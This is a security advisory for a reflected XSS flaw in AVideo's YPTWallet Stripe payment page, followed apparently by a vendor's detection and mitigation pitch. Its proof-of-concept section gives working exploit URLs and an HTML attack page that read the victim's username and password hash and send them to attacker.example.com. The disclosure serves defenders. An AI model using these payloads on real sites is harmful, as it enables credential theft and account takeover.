GHSA-pm37-62g7-p768
HIGHAVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The YPTWallet Stripe payment confirmation page directly echoes the $_REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.
The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.
Details
The Stripe confirmation page renders the plugin parameter directly into a <script> block:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.
The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.
Immediately adjacent to the injection point, the script also exposes user credentials:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118
"user": "<?php echo User::getUserName() ?>",
"pass": "<?php echo User::getUserPass(); ?>",
No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.
Proof of Concept
The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:
https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*
The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:
"plugin": ""}})});alert(document.domain);console.log({/*",
Credential exfiltration payload:
https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:"
Simplified credential theft using the same-page credential leak:
<!-- Host this on attacker.example.com and send the link to a victim -->
<html>
<body>
<script>
// The confirmButton.php page outputs user/pass in the script block.
// XSS lets us read it directly.
var payload = encodeURIComponent(
'",x:(function(){' +
'var s=document.querySelector("script").textContent;' +
'var u=s.match(/"user":"([^"]+)"/)[1];' +
'var p=s.match(/"pass":"([^"]+)"/)[1];' +
'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' +
'})(),y:"'
);
window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload;
</script>
</body>
</html>
Reproduction steps:
- Navigate to the basic XSS URL above (substitute your target instance).
- Observe the JavaScript alert box confirming code execution.
- View the page source to confirm that
User::getUserName()andUser::getUserPass()are present in the same script block. - Use the credential exfiltration payload to demonstrate data theft.
Impact
An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:
- Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.
- Session hijacking: Steal session cookies and impersonate the victim.
- Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.
- Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.
The lack of CSP headers means there are no browser-side mitigations against the injected scripts.
- CWE: CWE-79 (Cross-Site Scripting - Reflected)
- Severity: High (CVSS 8.1)
Recommended Fix
Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
// Before:
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
// After:
"plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>",
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-pm37-62g7-p768 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pm37-62g7-p768 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pm37-62g7-p768. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pm37-62g7-p768 in your dependencies?
O3 detects GHSA-pm37-62g7-p768 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.